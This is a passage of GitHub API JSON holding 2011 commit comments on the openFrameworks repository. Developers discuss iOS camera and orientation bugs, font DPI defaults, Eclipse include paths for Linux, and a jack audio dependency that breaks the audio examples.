n\r\nhow're pull requests at the moment?\r\nif i make the changes, will the admins be too busy?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/443293","html_url":"https://github.com/openframeworks/openFrameworks/commit/51d5e7f8d87b9d6f3e918d28267cb5428139bde1#commitcomment-443293","id":443293,"user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following{/other_user}","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"51d5e7f8d87b9d6f3e918d28267cb5428139bde1","created_at":"2011-06-22T16:02:52Z","updated_at":"2011-06-22T16:02:52Z","body":"the best thing to do is to look at the pull requests in the queue and see how old they are. i think the focus is on making a release right now over features, but i can't speak for them :)"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/443310","html_url":"https://github.com/openframeworks/openFrameworks/commit/51d5e7f8d87b9d6f3e918d28267cb5428139bde1#commitcomment-443310","id":443310,"user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following{/other_user}","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"51d5e7f8d87b9d6f3e918d28267cb5428139bde1","created_at":"2011-06-22T16:10:50Z","updated_at":"2011-06-22T16:10:50Z","body":"I guess we can pull it if it comes soon. my idea is to take a look at vs \n+ creating the packages during the weekend\n\nOn 06/22/2011 06:02 PM, kylemcdonald wrote:\n> the best thing to do is to look at the pull requests in the queue and see how old they are. i think the focus is on making a release right now over features, but i can't speak for them :)\n>"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/443347","html_url":"https://github.com/openframeworks/openFrameworks/commit/51d5e7f8d87b9d6f3e918d28267cb5428139bde1#commitcomment-443347","id":443347,"user":{"login":"nardove","id":277690,"avatar_url":"https://secure.gravatar.com/avatar/8022cb5f529975afbc64cc9312008d8c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8022cb5f529975afbc64cc9312008d8c","url":"https://api.github.com/users/nardove","html_url":"https://github.com/nardove","followers_url":"https://api.github.com/users/nardove/followers","following_url":"https://api.github.com/users/nardove/following{/other_user}","gists_url":"https://api.github.com/users/nardove/gists{/gist_id}","starred_url":"https://api.github.com/users/nardove/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nardove/subscriptions","organizations_url":"https://api.github.com/users/nardove/orgs","repos_url":"https://api.github.com/users/nardove/repos","events_url":"https://api.github.com/users/nardove/events{/privacy}","received_events_url":"https://api.github.com/users/nardove/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"51d5e7f8d87b9d6f3e918d28267cb5428139bde1","created_at":"2011-06-22T16:25:18Z","updated_at":"2011-06-22T16:25:18Z","body":"Hope this is the right place this comment\r\n\r\nI use the ofEasyCam in an iOS project and the rotations didnt work properly I comment about this here https://github.com/openframeworks/openFrameworks/issues/410 is there any chance to get the same behavior in iOS?\r\n\r\nCheers"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/455803","html_url":"https://github.com/openframeworks/openFrameworks/commit/ad9d79bc34c54b96b7072d9dc1b01819f6960ffd#commitcomment-455803","id":455803,"user":{"login":"benben","id":124513,"avatar_url":"https://secure.gravatar.com/avatar/6aed6a0dfa09b46d6fbd5149eb56def8?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"6aed6a0dfa09b46d6fbd5149eb56def8","url":"https://api.github.com/users/benben","html_url":"https://github.com/benben","followers_url":"https://api.github.com/users/benben/followers","following_url":"https://api.github.com/users/benben/following{/other_user}","gists_url":"https://api.github.com/users/benben/gists{/gist_id}","starred_url":"https://api.github.com/users/benben/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/benben/subscriptions","organizations_url":"https://api.github.com/users/benben/orgs","repos_url":"https://api.github.com/users/benben/repos","events_url":"https://api.github.com/users/benben/events{/privacy}","received_events_url":"https://api.github.com/users/benben/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"ad9d79bc34c54b96b7072d9dc1b01819f6960ffd","created_at":"2011-06-30T17:22:25Z","updated_at":"2011-06-30T17:22:25Z","body":"just in time! will try it soon! thanks! started to mess around with the old ofxControlPanel from your repo :("},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/457880","html_url":"https://github.com/openframeworks/openFrameworks/commit/8400e72bbd6aad6d57e9d536a176c044e0861575#commitcomment-457880","id":457880,"user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following{/other_user}","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"8400e72bbd6aad6d57e9d536a176c044e0861575","created_at":"2011-07-01T22:05:15Z","updated_at":"2011-07-01T22:06:00Z","body":"arturo I think the changes to orientation broke things on iphone. \r\nas we go back and forth between the of and the iphone orientation types. "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/459788","html_url":"https://github.com/openframeworks/openFrameworks/commit/aa80c9fa4aa74105fc49011bf9555fbd6fad3149#commitcomment-459788","id":459788,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":15,"line":7,"path":"apps/examples/fontsExample/src/testApp.cpp","commit_id":"aa80c9fa4aa74105fc49011bf9555fbd6fad3149","created_at":"2011-07-04T07:25:40Z","updated_at":"2011-07-04T07:25:40Z","body":"This should actually be different on Windows and MacOS machines. Windows default ppi is 96, MacOS is 72, so maybe that's the difference you see. \nImo, this should be set to the real monitor ppi (bigger than either) anyways for faithful representation (i.e. a 12pt font on screen is as big as a 12pt font on paper), but UI design nowadays tends to disagree (except for painting and DTP programs).\nI'd think the more sane option would be to leave it at 96, because it's nearer to the \"true\" ppi of the monitor.\nFurther info on this whole mess: http://en.wikipedia.org/wiki/Dots_per_inch#Computer_monitor_DPI_standards"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/484619","html_url":"https://github.com/openframeworks/openFrameworks/commit/596524722f3924d5fc87a3af5672e6d6ae19a4b8#commitcomment-484619","id":484619,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":5,"line":30,"path":"libs/openFrameworks/.cproject","commit_id":"596524722f3924d5fc87a3af5672e6d6ae19a4b8","created_at":"2011-07-19T11:04:30Z","updated_at":"2011-07-19T11:04:30Z","body":"Is this that specific by design? this looks only valid for linux, and 64bit. what about other OSes/platforms?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/484623","html_url":"https://github.com/openframeworks/openFrameworks/commit/596524722f3924d5fc87a3af5672e6d6ae19a4b8#commitcomment-484623","id":484623,"user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following{/other_user}","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"position":5,"line":30,"path":"libs/openFrameworks/.cproject","commit_id":"596524722f3924d5fc87a3af5672e6d6ae19a4b8","created_at":"2011-07-19T11:07:28Z","updated_at":"2011-07-19T11:07:28Z","body":"yes, there's only linux targets by now, creating a new project should set the default paths and since it's using makefiles it's fairly easy.\n\njust updated it so it doesn't complain about so many errors in the latest version"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/484626","html_url":"https://github.com/openframeworks/openFrameworks/commit/596524722f3924d5fc87a3af5672e6d6ae19a4b8#commitcomment-484626","id":484626,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":5,"line":30,"path":"libs/openFrameworks/.cproject","commit_id":"596524722f3924d5fc87a3af5672e6d6ae19a4b8","created_at":"2011-07-19T11:11:27Z","updated_at":"2011-07-19T11:11:27Z","body":"Ah ic. And for 32bit systems (see line 32)? - i don't have an `x86_64-linux-gnu` directory in `/usr/include/c++/4.5/` on my 32bit ubuntu (of course)."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/484629","html_url":"https://github.com/openframeworks/openFrameworks/commit/596524722f3924d5fc87a3af5672e6d6ae19a4b8#commitcomment-484629","id":484629,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":5,"line":30,"path":"libs/openFrameworks/.cproject","commit_id":"596524722f3924d5fc87a3af5672e6d6ae19a4b8","created_at":"2011-07-19T11:13:02Z","updated_at":"2011-07-19T11:13:02Z","body":"Is this because of this? http://forum.openframeworks.cc/index.php/topic,5921.msg31741.html#msg31741\nBecause if yes, see the next post, the toolchain got not selected, which could maybe be fixed more elegantly?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/484631","html_url":"https://github.com/openframeworks/openFrameworks/commit/596524722f3924d5fc87a3af5672e6d6ae19a4b8#commitcomment-484631","id":484631,"user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following{/other_user}","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"position":5,"line":30,"path":"libs/openFrameworks/.cproject","commit_id":"596524722f3924d5fc87a3af5672e6d6ae19a4b8","created_at":"2011-07-19T11:14:18Z","updated_at":"2011-07-19T11:14:18Z","body":"mmh, sure can you check if you have something like x86-linux-gnu or i386-linux-gnu and try to add it in the search paths in the project properties? then rebuild the index and check if that fixes the online error detection, if it does send a pull request and i'll merge it"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/484633","html_url":"https://github.com/openframeworks/openFrameworks/commit/596524722f3924d5fc87a3af5672e6d6ae19a4b8#commitcomment-484633","id":484633,"user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following{/other_user}","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"position":5,"line":30,"path":"libs/openFrameworks/.cproject","commit_id":"596524722f3924d5fc87a3af5672e6d6ae19a4b8","created_at":"2011-07-19T11:15:05Z","updated_at":"2011-07-19T11:15:05Z","body":"ah, ok yeah that makes much more sense, going to check"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/484960","html_url":"https://github.com/openframeworks/openFrameworks/commit/596524722f3924d5fc87a3af5672e6d6ae19a4b8#commitcomment-484960","id":484960,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":5,"line":30,"path":"libs/openFrameworks/.cproject","commit_id":"596524722f3924d5fc87a3af5672e6d6ae19a4b8","created_at":"2011-07-19T14:26:44Z","updated_at":"2011-07-19T14:26:44Z","body":"thanks for the fix. lines 31-33 still have to go, see https://github.com/openframeworks/openFrameworks/pull/661"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/485008","html_url":"https://github.com/openframeworks/openFrameworks/commit/043b1099aa1db9706b2bca0d90b24a8ce4ea9ec0#commitcomment-485008","id":485008,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"043b1099aa1db9706b2bca0d90b24a8ce4ea9ec0","created_at":"2011-07-19T14:51:32Z","updated_at":"2011-07-19T14:51:32Z","body":"I think that jack should now also be included in the install_dependencies.sh script, cause otherwise it does not get installed.\r\n\r\nInterestingly, even after manual install (`sudo apt-get install jack`), I get on building the empty_example: `Package jack was not found in the pkg-config search path. Perhaps you should add the directory containing `jack.pc'`"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/485066","html_url":"https://github.com/openframeworks/openFrameworks/commit/043b1099aa1db9706b2bca0d90b24a8ce4ea9ec0#commitcomment-485066","id":485066,"user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following{/other_user}","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"043b1099aa1db9706b2bca0d90b24a8ce4ea9ec0","created_at":"2011-07-19T15:16:45Z","updated_at":"2011-07-19T15:16:45Z","body":"it's added now, the right package is actually libjack-dev that's why you get the errors. btw are you in linux32? can you test if the audioInput/Output examples are working for you?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/485106","html_url":"https://github.com/openframeworks/openFrameworks/commit/043b1099aa1db9706b2bca0d90b24a8ce4ea9ec0#commitcomment-485106","id":485106,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"043b1099aa1db9706b2bca0d90b24a8ce4ea9ec0","created_at":"2011-07-19T15:34:55Z","updated_at":"2011-07-19T15:34:55Z","body":"OK i see. \r\nYeah i got a linux32 at work, and 64bit at home. \r\nQuick test on 32bit. \r\naudioinput does not compile:\r\nhttp://pastebin.com/LnVbA8Nf\r\naudioOutput, the same: http://pastebin.com/KrL6xgvp\r\ncould be something with my setup though, not sure yet if eclipse works correctly out of the box - got some some strange errors/warnings in the code analysis. more on that later."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/485122","html_url":"https://github.com/openframeworks/openFrameworks/commit/043b1099aa1db9706b2bca0d90b24a8ce4ea9ec0#commitcomment-485122","id":485122,"user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following{/other_user}","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"043b1099aa1db9706b2bca0d90b24a8ce4ea9ec0","created_at":"2011-07-19T15:40:08Z","updated_at":"2011-07-19T15:40:08Z","body":"thanks\r\n\r\ndoes the last commit solve it?\r\n\r\nEl mar, 19-07-2011 a las 08:34 -0700, bilderbuchi escribió: \r\n> OK i see. \r\n> Yeah i got a linux32 at work, and 64bit at home. \r\n> Quick test on 32bit. \r\n> audioinput does not compile:\r\n> http://pastebin.com/LnVbA8Nf\r\n> audioOutput, the same: http://pastebin.com/KrL6xgvp\r\n> could be something with my setup though, not sure yet if eclipse works correctly out of the box - got some some strange errors/warnings in the code analysis. more on that later.\r\n> "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/485288","html_url":"https://github.com/openframeworks/openFrameworks/commit/043b1099aa1db9706b2bca0d90b24a8ce4ea9ec0#commitcomment-485288","id":485288,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"043b1099aa1db9706b2bca0d90b24a8ce4ea9ec0","created_at":"2011-07-19T16:38:58Z","updated_at":"2011-07-19T16:38:58Z","body":"sorry, i'm not at work anymore. can check 32bit earliest tomorrow. :-/"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/486670","html_url":"https://github.com/openframeworks/openFrameworks/commit/99caa1fa2c67709fd9be4497585873ccf69ff7da#commitcomment-486670","id":486670,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"99caa1fa2c67709fd9be4497585873ccf69ff7da","created_at":"2011-07-20T07:40:46Z","updated_at":"2011-07-20T07:40:46Z","body":"does that make sense? declarations in an implementation file? I'd find it more confusing now... ;-)"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/486708","html_url":"https://github.com/openframeworks/openFrameworks/commit/043b1099aa1db9706b2bca0d90b24a8ce4ea9ec0#commitcomment-486708","id":486708,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"043b1099aa1db9706b2bca0d90b24a8ce4ea9ec0","created_at":"2011-07-20T08:06:08Z","updated_at":"2011-07-20T08:06:08Z","body":"OK, so I tested: \r\nOutputexample: compiles, runs, but does not synthesize anything. no activity. get errors in the console: 